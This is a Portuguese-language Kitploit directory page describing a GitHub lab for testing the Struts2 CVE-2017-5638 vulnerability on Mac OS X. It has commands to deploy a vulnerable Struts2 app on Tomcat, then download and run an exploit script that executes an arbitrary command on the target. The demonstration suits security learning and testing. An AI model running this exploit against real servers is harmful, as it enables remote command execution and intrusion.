Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
test_struts2_vulnerability_CVE-2017-5638 — test struts2 vulnerability CVE-2017-5638 in Mac OS X | Kitploit
Ferramentas/GitHubGitHub/sjitech/test_struts2_vulnerability_cve-2017-5638
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsjitech/test_struts2_vulnerability_cve-2017-5638

test_struts2_vulnerability_CVE-2017-5638

test struts2 vulnerability CVE-2017-5638 in Mac OS X

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 9 anosAinda não revisado

teste_struts2_vulnerabilidade_CVE-2017-5638_no_MAC_OS_X

teste de vulnerabilidade struts2 CVE-2017-5638 no Mac OS X

###baixar aplicativo web de teste e executá-lo no tomcat

root@kitploit:~
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

confirme o aplicativo web visitando http://localhost:8080/struts2

###a partir de outra máquina, execute o script de exploit para obter a capacidade de executar qualquer comando

root@kitploit:~
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

###volte para a máquina web, verifique se o arquivo /tmp/yyy foi injetado

root@kitploit:~
cat /tmp/yyy

vídeo: https://youtu.be/iQ_f-eG-EXg

Baixar ferramenta